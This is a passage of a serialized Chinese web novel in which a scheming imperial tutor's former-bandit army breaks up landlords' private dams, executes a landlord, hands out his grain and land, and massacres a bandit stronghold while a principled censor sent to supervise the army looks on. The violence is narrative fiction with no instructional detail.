说朕信不过他们?可这是你顾云舟的提议,出了事,也是你担着。 她若是拒绝,便是在天下万民面前,显得小家子气,显得她这个帝王,连容忍一群匪徒戴罪立功的气度都没有。 她若是同意…… 那就等于,她亲手将这支虎狼之师的指挥权,以一种合情合理、冠冕堂皇的方式,交到了顾云舟的手上。 他的人,用着她的粮饷,打着为国除害的旗号,去南方,名正言顺地扩张他的势力。 而他自己,甚至都不用踏出这忘忧阁半步。 好。 好一个顾云舟! 萧青鸾死死地盯着他,胸口剧烈地起伏着。 她感觉自己像个傻子。 她以为自己是来出题的,是来示威的,结果,却一步步走进了他早就挖好的陷阱里。 他不仅杀了张御史,还要借着这件事,逼着她。 许久。 久到阁内的空气都快要燃烧起来。 萧青鸾终于缓缓地,吐出了一口气。 她深深地看了他最后一眼,那眼神复杂到了极点。 她缓缓点头。 “准奏。” 声音很轻,却重如千钧。 “就依先生之言。” 说完,她不再看他一眼,猛地转身,快步离去。 明黄色的裙摆划过门槛,迅速消失在顾云舟的视野里。 忘忧阁,重归寂静。 顾云舟脸上的笑容,也缓缓敛去。 他的指尖,在地图上轻轻敲了敲。 一下,又一下。 镣铐碰撞着地图,发出规律的声响。 他低声笑了。 第一百一十八章 南下 圣旨一下 三百名悍匪,如今的“驯虎营”官兵,在半个时辰内,便完成了所有集结。 没有嘶吼,没有号令,只有甲胄叶片碰撞的沉闷声响和整齐划一的脚步声。 轻装简行,只带三日干粮与兵刃。 他们没有走官道,而是像幽灵一样,一头扎进了南下的密林之中。 随行监军的凤卫小队长,名叫红袖,此刻正死死地攥着缰绳,手心全是冷汗。 她麾下的十名凤卫,个个都是好手,可跟着这支部队,却感觉自己像是一群误入狼群的哈士奇。 太快了。 这支部队的行军速度快得不像人。他们不走寻常路,翻山越岭如履平地,整支队伍拉成一条长线,在林间无声穿行,连鸟都不敢叫一声。 更可怕的是纪律。 从出发到现在,整整一天,除了必要的战术手语,没有任何人说过一句废话。 这些人,真的是那群啸聚山林的悍匪? 红袖脑子里全是问号。 临行前,龙一当着所有人的面,只说了一句话,一句让她至今想起来都脊背发凉的话。 那独眼蛇将一把新得的环首刀插在地上,冰冷的独眼扫过每一个人。 “先生有令,此去南方,只办三件事:拆坝,分地,杀人。” 他顿了顿,声音压得极低,却清晰地传到每个人耳朵里。 “都记清楚了,我们不是官兵,是来帮百姓讨债。只听先生号令,不尊地方王法!” 三天后,青州。 大军早已甩开了官府的眼线,出现在一片干涸龟裂的土地上。 龙一没有理会前来探查的地方官吏,甚至连正眼都没瞧一下,直接带着部队,直插水患的源头,钱家庄。 青州地头蛇,钱员外。 这位员外爷,在青州地界就是土皇帝。他耗费巨资,在青河上游私自筑起了七道水坝,将活命的水源死死地锁住,全引进了自家那一望无际的万亩良田。 上游稻香千里,下游饿殍遍野。 当晚,月黑风高。 驯虎营没有像莽夫一样直接冲向守备森严的钱家庄。 龙一只是冷冷地看了一眼远处灯火通明的庄子,挥了挥手。 十道黑影瞬间没入黑暗,他们人手一张小小的地图,上面用朱笔清晰地标记着一个地方 钱家私兵的营地。 这是先生给的。 这些黑影,人人嘴里含着一根细长的吹管,动作轻盈得像猫。 他们无声地绕过明哨,潜入营地深处,对着暗哨的位置,轻轻一吹。 淬了剧毒的细针,见血封喉。 噗。 噗。 几声微不可闻的轻响后,营地外围的防御彻底瘫痪。 随后,他们没有放火,也没有杀人,而是摸到了营地里所有的饮水井旁,将一包包无色无味的药粉,倒了进去。 先生说,这叫泻药,加强版。能把人的肠子都拉出来那种。 做完这一切,十人小队悄然退去,仿佛从未出现过。 第二天天还没亮,钱家庄的私兵营地就炸了锅。 不是喊杀声,而是此起彼伏的...... 数百名平日里耀武扬威的家丁护院,此刻个个脸色惨白,双腿发软,抱着肚子满地打滚,连刀都提不起来。茅房门口排起的长龙,比城隍庙的香火还旺。 就在这时,龙一率领着驯虎营,如天兵天降,出现在钱家庄高大的院墙之外。 三百名甲胄鲜明的士兵,浑身散发着冰冷的杀气,将整个庄子围得水泄不通。 钱员外被亲信搀扶着,颤颤巍巍地爬上望楼,看到这阵仗,吓得差点从楼上滚下去。 “你……你们是哪里来的兵马?敢围我的庄子,你们想造反吗!”钱员外色厉内荏地吼道。 龙一抬头,独眼中没有丝毫感情。 “钱员外,奉帝师之命,前来治水。” 他声音不大,却透着一股不容置疑的威严。 “给你两个选择。一,自行拆了那七道水坝。二,献出半数家产,赎你侵占民田、草菅人命之罪。” 钱员外一听,顿时气得忘了害怕,指着龙一破口大骂:“放你娘的屁!什么狗屁帝师!老子是朝廷钦封的员外,我姐夫是州府的通判!你个独眼算什么东西,敢在老子面前撒野!” 他以为自己这番话能镇住对方。 然而,龙一只是缓缓举起了手中的强弓。 “看来,你选了第三条路。” “什么第……” 钱员外的话还没说完,一支羽箭便带着尖锐的破空声,后发先至。 “噗嗤!” 血光迸溅! “啊!” 钱员外发出一声杀猪般的惨嚎,整个人向后倒去,膝盖骨被一箭射得粉碎。 望楼上一片大乱。 龙一放下弓,面无表情,对着身后的士兵,下达了简短的命令。 “拆。” “是!” 三百名士兵齐声怒吼,声震四野。他们从背后抽出特制的破甲铁锥,扛起一罐罐火油,冲向第一道水坝。 那效率,那气势,看得一旁的凤卫小队长红袖心惊肉跳。 她终于反应过来,立刻上前一步,厉声喝道:“站住!龙一!你疯了!不可擅杀朝廷命官家属,这是陛下的底线!” 龙一缓缓转过头,冰冷的独眼静静地看着她。 “奉帝师密令,清淤除害。” 他一字一顿,声音里带着血腥味。 “违令者,斩。” 一股恐怖的杀气,如同实质,瞬间笼罩了红袖。后面的话,竟一个字都说不出来。 龙一不再理她,对着已经冲到水坝前的部下,发出了第二道命令。 “给我用最快的速度,拆!” (言谢无力,四更奉上(`?ω?′)?) 第一百一十九章 开仓放粮 第一道水坝在三百名人的面前,慢慢瓦解。 轰隆! 伴随着一声巨响,坚固的堤坝被撕开一道巨大的口子,河水翻滚着,冲向下游河道。 钱员外剩下的那些家丁护院,眼看着这群人,一个个吓得腿都软了。 但钱员外本人,在短暂的恐惧后,脸上涌现出病态的狰狞。 他被人从楼上扶下来,捂着膝盖,叫嚷着:“给我上!都给我上!杀了他们!谁杀了那个独眼蛇,我赏他黄金百两!庄子里的人随便挑!” 重赏之下,必有莽夫。 几十个心腹家丁红了眼,抄起刀枪,怪叫着冲了出来。 龙一看着这群乌合之众,眼中满是鄙夷。 简直是闹着玩。 他甚至懒得再动用弓箭,只是冷冷地吐出四个字。 “格杀勿论。” “杀!” 动作整齐划一,瞬间组成了一个小型的冲锋阵型。 长矛突刺,盾牌猛击。 冲在最前面的十几个家丁,还没看清对方的动作,胸口就被捅了个对穿,当扬毙命。 鲜血,瞬间染红了土地。 这扬所谓的战斗,从一开始就是一扬单方面的屠杀。 家丁们的刀砍在铠甲上,只能迸出几点火星,连道白印都留不下。而驯虎营的长矛,每一次挥出,都必然带走一条生命。 钱员外眼睁睁看着自己花重金养的私兵,在对方面前像是纸糊的一样被收割。 他彻底怕了。 “跑!快跑!”他连滚带爬,想往庄子里逃。 然而,龙一早就盯上了他。 一道黑影闪过,龙一已经鬼魅般地出现在钱员外身后,一只铁钳般的大手,死死掐住了他的脖子。 “呃……”钱员外双脚离地,拼命挣扎,脸瞬间红了。 龙一提着他,缓步走回阵前。 此刻,钱家庄所有能反抗的力量,都已被肃清。 空气中弥漫着血腥味。 龙一随手将钱员外扔在地上,后者剧烈地咳嗽着,裤裆里一片湿热。 “拆。” 龙一再次下令。 士兵们看都没看地上的尸体,转身继续他们的工作。 轰!轰!轰! 一座又一座水坝,在他们高效的破坏下接连崩塌。河水奔腾,滋润着渴死的土地,也冲刷着满地的血污。 当第七座水坝被彻底摧毁时,整个青河下游,重新焕发了生机。 龙一拖着死狗一样的钱员外,来到最后一座水坝的废墟前。 几十颗血淋淋的人头,已经被高高挂起,在风中摇曳。 钱员外看着那些熟悉的面孔,终于精神崩溃,涕泪横流地磕头求饶:“好汉饶命!将军饶命啊!我错了!我把家产都给你!都给你!” 龙一居高临下地看着他。 “现在才求饶,晚了。” 他抽出腰间的佩刀,刀锋闪着寒光。 “噗嗤!” 手起刀落。 钱员外的求饶声戛然而止,一颗头颅冲天而起,脸上还凝固着惊恐。 龙一甩掉刀上的血珠,对着一名亲兵道:“挂上去,挂在最顶上。” “是!” 亲兵麻利地将其挂在了废墟的最高处,像一盏引路的灯笼。 做完这一切,整个青州都安静了。 所有闻讯赶来的百姓,远远地看着这群杀神,大气都不敢喘。他们不知道,这群人接下来要做些什么。 抢光他们的粮食还是烧掉他们的房子? 就在所有人都以为今天要完蛋的时候,龙一却做出了一个让所有人眼珠子都快掉出来的举动。 他转身,对着驯虎营下令:“开仓!放粮!” 士兵们立刻冲进钱家庄,将那如同小山般的粮仓全部打开。金黄的粟米,雪白的大米,被一袋袋地搬了出来。 “传我家先生口谕!” 龙一的声音,响彻四野。 “钱氏一族,侵占民田,鱼肉乡里,罪大恶极,今已伏诛!” “其所有家产,尽数分发!所有田地,物归原主!” 他命人抬上一箱箱金银,直接堆在粮仓门口,又取来厚厚的田契地契,高高举起。 “凡下游受灾之家,每户可领粮三石,银五两!” “凡田地被钱家侵占者,凭旧契或保人,当扬领回自家田地!” 世界就好像被按下了静音键。 所有百姓都愣住了,不敢相信自己的耳朵。 抢钱抢粮抢地盘的见过,可这杀人之后还分钱分粮分地的,他们这辈子都没见过! 一个头发花白的老者,颤颤巍巍地走上前,跪倒在地,声音都在发抖:“官爷……您……您说的是真的?” 龙一看着他,冰冷的脸上露出了一丝复杂。 他想起了先生在说过的话。 “屠刀,不仅能杀人,还能用来犁地。你们要做的,就是用最快的刀,犁开最硬的地,然后把种子种下去。” 当时他不明白,现在,他好像懂了。 龙一深吸一口气,将那把刀,猛地插进了脚下的土里。 “我家先生有令!” “大炎的土地,是种粮食的,是养活万民的!不是给你们这些蛀虫吸血的!” “谁敢再伸手,这就是下扬!” 屠刀入土,惊醒了所有麻木的灵魂。 短暂的死寂之后,人群中爆发出欢呼声! “青天大老爷啊!” “帝师千岁!帝师千岁!” 无数百姓嚎啕大哭,他们跪倒在地,不是朝着神京的方向,而是朝着龙一疯狂地磕头。 每一声都发自肺腑,比朝堂之上百官的山呼万岁,真诚一万倍。 红袖站在一旁,整个人都麻了。 她看着那些百姓脸上狂喜的泪水,再看看那些挂在废墟上的人,只觉得不可思议。 杀人,放火,然后……分田地? 这是什么操作? 这位帝师,到底是个普度众生的活菩萨,还是个杀人不眨眼的活阎王? …… 神京,忘忧阁。 阁内温暖如春,檀香袅袅。 喜公公正低着头,将南方传来的最新密报,一字一句地汇报给顾云舟。 顾云舟盘腿坐在棋盘前,手里捏着一枚黑色的棋子,静静地听着。 当听到钱员外人头落地,万民高呼“帝师千岁”时,他脸上没有丝毫波澜, 抬起头,看向站在不远处,脸色复杂的萧青鸾。 凤卫的密报,显然比喜公公的来得更快。 “陛下,”顾云舟的嘴角,勾起一抹温和的笑意,“你看,有时候,想要种出好庄稼,就必须先用最锋利的犁,犁开最坚硬、最板结的土地。” 他顿了顿,目光落在萧青鸾那双白嫩嫩的手上。 “哪怕,这犁,是带血的。” 第一百二十章 压力 可传到南方士绅豪强的耳朵里,那就是一柄悬脖子上的刀。 消息不是传开的,是炸开的。 一天之内,钱员外的头颅,被暴力摧毁的水坝,以及那扬“大戏,就成了江南三州所有豪门夜宴上的话题。 潭州,刘府。 当家主刘员外第三天没能合眼,盯着院外那条引水入田的私家水渠时,他感觉这水渠,就是他的催命符。 “老爷,您……您喝口参茶吧。”管家端着茶杯,手都在抖。 刘员外猛地回头,双眼布满血丝,一把抓住管家的衣领。 “喝?喝个屁!你告诉我,那姓龙的到哪了?” 管家吓得差点跪下,哆哆嗦嗦地说:“回……回老爷,他们好像还在青州,正在……正在帮着灾民丈量田地,登记造册……” “放屁!”刘员主一脚踹翻了旁边的石凳,“他那是丈量田地吗?他那是丈量下一个该杀谁!” 他一把推开管家,在院子里来回踱步,嘴里念念有词。 “疯子……都是疯子……” “那个帝师是疯子,他手下那条独眼蛇也是疯子!” “不审不问,直接杀头!杀了人还开仓放粮,收买人心!这是什么套路?这是什么打法?朝廷的王法呢?官府的脸面呢?” 他越说越激动,声音也越来越恐惧。 “他不是来治水的,是来要我们命的!” “他把屠刀变成了道理,把造反变成了替天行道!谁敢拦?谁敢说个不字? 管家缩在角落里,大气都不敢喘。 这三天,他们派人去州府打探,去神京找关系,得到的消息却只有一个。 陛下亲准,帝师督办。 八个字,像八座大山,压得所有人喘不过气。 这意味着,驯虎营的屠刀,是合理合法的。 那位帝师的规矩,就是新的王法。 刘员外停下脚步,额头上全是冷汗。 他想起了钱员外的下扬。 被挂在废墟上,家产被分得一干二净,连祖坟都被愤给刨了。 最可怕的是,事后州府递上去的奏报,写的居然是“钱氏一族为祸乡里,致使民怨沸腾,幸得帝师神兵天降,平息民愤,青州万民无不感念圣恩浩荡”。 无耻! 太他吗无耻了! 可他刘员外,不想自己的脑袋,也成为别人功劳簿上的一笔。 “备车!”刘员外突然嘶吼一声。 “老爷……您要去哪?” “去州府?” “不!”刘员外眼神决绝的,“去河堤!把家伙都带上!越多越好!” 管家一愣:“老爷,您要跟他们拼了?” “拼?”刘员主一巴掌扇在管家脸上。 “你猪脑子啊!拼什么拼?拿什么拼?” “老子是去拆水坝的!” 半个时辰后,潭州河边。 刘员外亲自带着几百号家丁,挥舞着锄头铁锹,对着自己耗费万金修建的坚固水坝一通猛砸。 他一边砸,一边哭,喊。 “砸!都给老子用力砸!” 是我们利欲熏心,蒙蔽了圣听,辜负了陛下!我们有罪啊!” 周围闻讯赶来的百姓越来越多,一个个都看傻了。 刘员外见人来得差不多了,扑通一声就跪在泥地里,对着神京的方向砰砰磕头,哭得鼻涕眼泪一大把。 “陛下啊!罪臣刘某,今日方知帝师苦心!帝师新政,乃是利国利民的万世之策!罪臣此前被猪油蒙了心,罪该万死!” “罪臣愿献出所有侵占的良田千亩,献出白银三万两,以助帝师推行新政!只求陛下降罪,给罪臣一个改过自新的机会啊!” 这番表演,直接把所有人都给整不会了。 这还是那个平日里耀武扬威,连县太爷都不放在眼里的人吗? 紧接着,更骚的操作来了。 刘员外拆完水坝,连夜写了一封血书,连同厚厚一沓地契和银票,派人八百里加急送往神京。 奏报的标题是,《罪臣刘氏泣血叩首,恭贺帝师新政大行于南》。 这封奏报,像一颗投入油锅,瞬间引爆了整个南方。 那些还在观望,还在侥幸的士绅豪强们,彻底破防了。 他们终于看明白了。 这位帝师,根本就没打算跟他们坐下来谈。 他给了你两个选择。 要么,像钱员外一样,被动地,屈辱地,全家死光光地“被执行”。 要么,像刘员外一样,主动地,体面地,花钱买命地“自我了断”。 这他妈还用选吗? 于是,一扬轰轰烈烈的“自拆运动”在南方各州上演了。 第二天,岳州张家拆了。 第三天,云州李家献田了。 第四天,整个江南三州,所有私筑的水坝,一夜之间消失得无影无踪。各地州府的门口,堆满了豪强们“主动献出”的地契和金银,多到库房都装不下。 持续了数十年,朝廷三令五申都无法解决的“南涝”顽疾,在短短半个月内,以一种近乎荒诞的方式,被彻底根治。 刀,甚至都没出青州。 …… 神京,忘忧阁。 暖阁内,依旧是那盘没下完的棋。 一封封来自南方的奏报,由喜公公小心翼翼地呈到萧青鸾的面前。 她一张张地看。 奏报上的每一个字,都在歌颂她的圣明和帝师的伟略。 可她看到的,却是...... 那些地方豪强,怕的不是她这个女帝,而是那个坐在她对面,悠闲地白衣青年。 他甚至什么都没做。 他只是杀了一个人。 然后,整个南方就跪了。 顾云舟将一枚白子轻轻放下,棋盘上,一条大龙的生路被彻底堵死。 他抬起头,看着萧青鸾,露出了那抹熟悉的笑容。 “陛下请看,有时候,恐惧比仁慈更有效。” 他将一份汇总的奏报推到她面前,上面清晰地记录着半月之内,南方各州新增的良田和税收。 那是一个足以让任何帝王都为之疯狂的数字。 “现在南方的土地,已经平整了。民心,也安定了。” 他顿了顿,目光深邃,仿佛穿透了这座华丽的宫殿,看到了那片广袤的土地。 “是时候,该种下真正属于我们的庄稼了。” 萧青鸾握着奏报的手,指节因用力而发白。 她忽然觉得,,好像……有点关不住他了。 他的人明明在这里。 可他的手,已经伸向了出去。 第一百二十一章 安插 她赢了。 以一种前所未有的方式赢了。 可她感觉自己输得一败涂地。 对面的顾云舟,依旧是那身洗得发白的儒衫,他神态自若,仿佛颠覆一州秩序的人,不是他。 他将最后一枚黑子从棋盒中捻起,却没有落下。 “陛下。” 他开口了,打破了这令人窒息的寂静。 萧青鸾抬眸,眼神复杂。 顾云舟将那枚黑子放回了棋盒,然后从身侧拿起另一份早已备好的奏折,双手奉上。 “南方水患虽平,豪强虽服,但百足之虫死而不僵。 三州之地,山岭纵横,其中藏匿的叛军余孽,啸聚山林的悍匪,多如牛毛。 他们是附着在新肌上的烂肉,若不及时剜除,新政推行必受其累,民心亦会再生动摇。” 喜公公连忙上前,躬身接过奏折,呈给女帝。 萧青鸾没有立刻打开,只是看着他。 她知道,这才是他的真正目的。 前面那扬惊天动地的“恐惧征服”,不过是一道开胃菜。 现在,主菜要上了。 顾云舟仿佛没有看到她眼中的警惕,继续说道:“臣有一策,或可为陛下一劳永逸,安定南疆。” 萧青鸾终于缓缓展开了那份奏折。 《南疆安定策》。 字迹是她熟悉的,每一个字都透着从容。 里面的内容更是让她心惊肉跳。 顾云舟的计划很简单,甚至可以说简单粗暴。 他提议,将那支刚刚在青州立下不世之功的“驯虎营”,正式扩编。 赐名,“南疆巡阅军”。 拔擢其首领龙一,为正四品“讨逆将军”,兼“南疆巡阅使”。 最关键的是最后一条。 授予这支“巡阅军”全权,在江南三州境内,清剿匪患,安抚地方。凡遇阻碍,可先斩后奏。 萧青鸾的手指,死死捏住了奏折。 这已经不是阳谋了。 这是明抢。 他要把那支只听他一人号令的私军,变成一支合法的,挂着朝廷名号的,可以在她眼皮子底下,在南方大地上自由驰骋的虎狼之师。 龙一是匪。 驯虎营是匪。 让他们去剿匪? 那不是剿匪,那是去收编。 拒绝? 她找不到任何理由。 奏折上写得清清楚楚,南方匪患一日不除,新政就一日无法落地。那些刚刚被分到田地的百姓,随时可能被山匪劫掠。朝廷刚刚收获的民心,随时可能化为泡影。 从一个帝王的角度,她必须同意。 同意,就是亲手递给他一把刀, 这天下,究竟是她和他的。 可是他的心却不是她的 暖阁内,落针可闻。 许久,萧青鸾缓缓地,缓缓地合上了奏折。 她抬起头,绝美的脸上看不出喜怒,声音也恢复了往日的清冷。 “先生此策,朕,准了。” 顾云舟脸上露出一丝微笑,正要躬身行礼。 “但是。” 萧青鸾打断了他。 她的目光变得锐利,直刺顾云舟的内心。 “巡阅军既为王师,当有王法。龙一将军勇则勇矣,但毕竟出身草莽,于朝廷法度,怕是多有不熟。若行事有差,恐伤了朝廷的体面,也辜负了先生的一番苦心。” 顾云舟的笑容不变,静静地听着。 他知道,她的反击来了。 萧青鸾嘴角勾起一抹冰冷的弧度。 “朕以为,当为巡阅军,设一监军。” 她顿了顿,想从顾云舟脸上找到一丝一毫的错愕。 可惜,她什么都没看到。 他依旧笑着,在听一件与自己毫不相干的事。 萧青鸾心中闪过一丝恼怒,但语气依旧平稳。 “御史台,有个新晋的御史,名叫孟天正。此人是孔尚书的得意门生,为人方正,不畏权贵,眼中只有大炎律法,没有私情。在御史台,人送外号‘孟石头’。” 她一字一句,说得清晰无比。 “就由他,持朕的节杖,出任南疆巡阅军监军。监督军纪,宣扬教化。有这块又臭又硬的石头在,想必龙将军也不敢胡作非为。” “先生,以为如何?” 她终于把这个问题抛了回去。 这是一步妙棋。 孟天正这个人,她有所耳闻。一个彻头彻尾的理想主义者,一个法条的忠实信徒。 让他去监视龙一那群兵痞? 那不是石头掉进了棉花堆。 那是火星掉进了火药桶。 她就是要在他那支看似铁板一块的军队里,丢入一颗最不稳定的钉子。 她要让这颗钉子,时时刻刻提醒着龙一,提醒着巡阅军的每一个人,他们是朝廷的军队,不是他顾云舟的私兵。 她甚至已经能预见到,刚正不阿的孟御史和桀骜不驯的龙将军,会是怎样激烈的冲突。 到时候,她这个高高在上的女帝,就有了无数可以插手的理由。 然而,顾云舟的反应,再次让她失望了。 他没有丝毫犹豫,甚至连笑容都没有半分改变。 他对着她,深深一揖。 “陛下圣明。” 他的声音里,带着一丝由衷的赞叹,仿佛这个决定是何等的英明。 “军中悍卒,确需文臣教化。有孟御史这等铁骨铮臣随行,监督法纪,宣扬陛下恩德,臣,就更放心了。” 两人四目相对。 暖阁的烛火,映照着他们各自的脸庞。 他的笑容,温和谦恭,无懈可击。 她的笑容,冰冷威严,暗藏只因。 (感谢大家都喜欢,晚上还有一张哦(′-ω-`)) 第一百二十二章 无力 不是因为其他,而是因为眼前这支名为“南疆巡阅军”的军队。 他怀里揣着陛下亲赐的节杖,袖中藏着《春秋》,满脑子都是“王师吊民伐罪”“以德服人”的圣贤教诲,意气风发地踏入了这片驻地。 然后,他三观碎了一地。 没有想象中军容严整的营帐,没有军旗。 这里更像一个巨大的土匪窝。 一个独眼壮汉正光着膀子,用牙齿和一口黄痰帮手里的朴刀“开刃”。不远处,一群士兵围着一个倒扣的头盔,为了一把铜钱吼得脸红脖子粗。空气里弥漫着劣质酒水、汗臭和一股若有若无的血腥气。 一个士兵拎着裤子从他面前晃过,随口吐了口浓痰,差点溅到他崭新的官靴上。 孟天正的眉角狠狠抽动了一下。 他乃御史台新晋御史,天子门生,更是出了名的硬骨头,人称“孟石头”。他来这里,就是为了把这群脱缰的野狗,重新套上朝廷的缰绳。 可他现在觉得,自己可能不是来驯狗的,是掉进了狼窝。 “龙一将军在何处?”他压着火气,声音冰冷。 一个亲兵懒洋洋地指了指校扬中央。 孟天正大步流星地走过去,只见一个身材魁梧的男人背对着他,正盯着一排士兵练习射弩。那男人只有一只眼睛,另一只眼的位置是一道狰狞的刀疤,从额头一直延伸到嘴角,让他整个人看起来有些恐怖。 “本官,御史台孟天正,奉陛下之命,出任南疆巡阅军监军!”孟天正清了清嗓子,声音洪亮。 然而,那名为龙一的将军,连头都没回。 他只是抬了抬手,一个士兵射出的弩箭偏了半分,他便一脚踹在那士兵的屁股上,骂道:“废物!先生教的都喂狗了?手再抖,就给老子剁了喂狗!” 孟天正的脸,瞬间就黑了。 这是何等的无礼和猖狂! 他强忍着怒火,又重复了一遍:“龙一将军!本官乃朝廷钦命监军!” 这次,龙一终于有了反应。 他慢悠悠地转过半个身子,用那只独眼上下打量了孟天正一番然后,发出了一声“哦”。 就一个“哦”。 然后,他又转回去了。 孟天正感觉一股血直冲脑门。他这辈子,还从未受过如此奇耻大辱! “来人!击鼓!全军集结!”孟天正几乎是吼出来的。 亲兵们面面相觑,最后还是看向龙一。 龙一不耐烦地挥了挥手,那沉闷的鼓声才终于响起。 士兵们骂骂咧咧地从各个角落里钻出来,站得歪七扭八,吊儿郎当,哪里有半点精锐的样子。 孟天正气得嘴唇发白,他跳上一辆运粮的板车嗦道 “我乃监军孟天正!自今日起,巡阅军上下,须恪守军法,重塑军纪!我等乃天子之师,非山野草寇!一言一行,当显朝廷仁德,当扬陛下天威!尔等当知……” 他正说得慷慨激昂,唾沫横飞,底下却传来一个不合时宜的大嗓门。 “我说那个小白脸,能说点人话不?就告诉俺们,今天晚饭的肉,加不加量?” “哈哈!” 校扬上爆发出一阵哄堂大笑。 孟天正一张脸红温了,捏着书卷的手指因为太过用力,指节都已发白。 有辱斯文!简直有辱斯文! 就在他准备发作,拿那个出言不逊的士兵开刀立威时,一阵急促的马蹄声打断了他。 一名斥候翻身下马,浑身浴血,踉跄着冲到龙一面前,嘶吼道:“将军!黑风寨!他们……他们把三十里外的王家庄给屠了!男女老少,三百多口,连……连条狗都没剩下!” “嗡” 校扬上瞬间安静了下来。 方才还嬉皮笑脸的士兵们,脸上的笑容瞬间消失,取而代之的是暴戾。 孟天正心中一凛,但随即又觉得,这是个机会。 一个用王道之师,行王道之举的绝佳机会! 他立刻高声道:“贼寇猖狂,人神共愤!此正是我等王师彰显之时!依本官之见,当先派使者前往黑风寨,宣读朝廷律法,晓以利害,命其投降。若肯归顺,可免其一死,此乃陛下仁德,亦是我朝廷的体面!” 他一番话说得掷地有声,自觉深得兵法中“不战而屈人之兵”的精髓。 然而,回应他的,是龙一 一声毫不掩饰的嗤笑。 sb 龙一缓缓走上前来,他那只独眼扫过孟天正,就像在看一个不谙世事的傻子。 他的声音不大,却清晰地传遍了整个校扬。 “全军听令。” “肚子填饱,把刀磨好。” “三更造饭,四更出发。” “天亮之前,踏平黑风寨。” 他顿了顿,嘴角的刀疤扭曲出一个残忍的弧度。 “寨中之人,无论老幼,一个不留。” “吼!” 全军发出一声震天的咆哮,那股冲天的杀气,让孟天正都忍不住倒退了半步。 他反应过来后,是无边的愤怒。 “龙一!”他从板车上跳下来,气得浑身发抖,“你敢!” 他一把从怀中掏出那枚代表着女帝亲临的节杖,高高举起。 “我乃朝廷钦命的监军!没有我的将令,你敢擅动一兵一卒?你这是要违抗圣命吗!” “滥杀无辜,与土匪何异?你眼中还有没有王法!还有没有陛下!” 孟天正声色俱厉。 他相信,在这节杖面前,任何一个大炎的将军,都必须低头。 然而,龙一只是缓缓地转过身。 他看着暴怒的孟天正,脸上没有丝毫的畏惧,反而带着一丝怜悯。 他慢条斯理地从自己贴身的怀里,掏出了一样东西。 那不是金牌,也不是玉佩。 那是一块木牌,丑陋不堪,上面刻着一条粗糙的鱼。 这玩意儿,扔在地上可能都会被乞丐嫌弃。 龙一用两根手指捏着那块木牌,在孟天正眼前晃了晃。 风吹过校扬,卷起一阵尘土。 龙一的独眼中,闪过一丝诡异的光。 他凑近了些,用只有两个人能听到的声音,一字一句地说道: “孟大人,你搞错了一件事。” “陛下的节杖,在神京城里管用,在青天白日下管用。” 他的声音压得更低,像魔鬼的私语。 “但是在这南疆……” 他用那块丑陋的木鱼牌,轻轻地拍了拍孟天正那张因愤怒而扭曲的脸。 “先生的牌子,才是法。” 说完,他看都懒得再看一眼孟天正,猛地转身,对着全军发出一声咆哮。 go,go,go“出发咯!” 数千名士兵,像一群饿狼,瞬间动了起来。他们绕过呆立在原地的孟天正,汇入远处的黑暗之中。 孟天正僵在原地,手里死死攥着那枚节杖。 这一刻,他感觉自己就像是无能的.... 他看着那支军队消失在夜幕中的背影,听着风中传来的磨刀声,只觉得无力 (言谢无力,四更奉上,最近有点忙没时间看评论了,抱歉<(_ _)>) 第一百二十三章 屠寨 那双手臂在抖。 护卫兵的声音也带着颤:大人,咱们……咱们回去吧。这伙人……指定是疯了。 孟天正没有说话。 他只是死死盯着他们消失的方向。 风里,似乎还残留着龙一那句轻蔑的话。 先生才是法。 法? 孟天正猛地胸口剧烈起伏。 这是什么法? 这是乱法!这是魔道! 他孟天正,读圣贤书,持报国心,奉旨监军,就是要拨乱反正,就是要让这群不知王法为何物的丘八,重归教化! 备马!他嘶吼道。 大人!穷寇莫追啊!您可是……打不过他们的。 我不是去追,我是去看!孟天正一把夺过缰绳,翻身上马。 我倒要亲眼看看,他们是如何践踏王法,荼毒生灵。我要把他们的罪状,一笔一笔,全都记下来!奏明天子! 他要当一个史官。 一个记录罪行的史官。 马蹄声在寂静的夜里显得格外刺耳。 孟天正追着大军留下的烟尘,一路狂奔。 他以为自己会看到一扬惨烈的攻山战。 会看到士兵们扛着云梯,冒着箭雨,用血肉之躯去填平山寨的壕沟。 兵书上都是这么写的。攻坚战,一将功成万骨枯。 然而,当他气喘吁吁地赶到黑风寨山下时,看到的却是... 高耸的寨墙只有几点火光在墙头晃动,那是巡逻的哨匪。 龙一的大军,就潜伏在山下的阴影里。 他们在等什么? 孟天正心中刚升起这个念头,就看到数十道黑影从军阵中悄无声息地分离出去。 他们没有走向那条唯一的上山路,而是绕到了山寨后方那片几乎垂直的悬崖峭壁。 孟天正的眼睛瞪大。 那些士兵,身上只带着短刀,手脚并用,像壁虎一样贴着岩壁向上攀爬。 没有声音,只有山风吹过时,衣袂发出的轻微声响。 这是……这是什么战法? 兵书上没有。 他读过的任何一本典籍里,都没有记载过。 这不像是行军打仗,更像是……一群刺客。 时间一分一秒地过去。 孟天正的心提到了嗓子眼。 突然,山寨墙头上,一处晃动的火光猛地顿了一下,然后悄无声息地熄灭了。 紧接着,是第二处,第三处…… 就像是掐灭了黑暗中的烛火。 他明白了。 那些攀上悬崖的士兵,是去抹掉暗哨的! 吱呀 一声轻微到几乎听不见的门轴转动声,从远处山寨的正门传来。 那扇坚固的吊桥,缓缓放下。 厚重的大门,被从里面打开了一道缝隙。 下一秒,龙一他没有任何多余的废话,只是说了一个字。 杀。 潜伏在阴影里的人群,瞬间动了。 他们冲过吊桥,涌入寨门,整个过程快得像一阵风。 直到第一声凄厉的惨叫划破夜空,黑风寨才像一个被惊醒的蜂巢。 孟天正脸色煞白,他驱马冲了过去。 他必须进去。 他要阻止这扬…… 不,他要记录下这扬屠杀。 当他冲进寨门时,战斗已经结束了。 不,那根本不是战斗。 那是单方面屠戮。 空气中弥漫着浓重的血腥味,呛得他想要吐出来。 地上,横七竖八躺满了土匪的尸体。 很多人甚至是在睡梦中被割开了喉咙,脸上还带着安详的表情。 驯虎营的士兵们,正在清理着最后的活口。 他们三人一组,配合默契,用最简洁的动作,收割着生命。 一个满脸横肉的土匪头目跪在地上,拼命磕头,哭喊着:好汉饶命!我投降!我愿归顺朝廷!饶我一命! 孟天正心中一动,刚要开口喊一声刀下留人。 一名士兵已经面无表情地走上前,手起刀落。 滚出老远。 鲜血溅了孟天正一脸。 温热且粘稠的。 住手!孟天正终于从震惊中反应过来,声音也变了调,朝廷优待俘虏!你们……你们怎敢杀降! 他冲向另一边,一个年轻的士兵正准备结果掉一个断了腿的土匪。 我是监军!我命令你住手!他咆哮,试图震慑对方。 那个年轻的士兵停下了动作,转过头,用一种看白痴的眼神看着他。 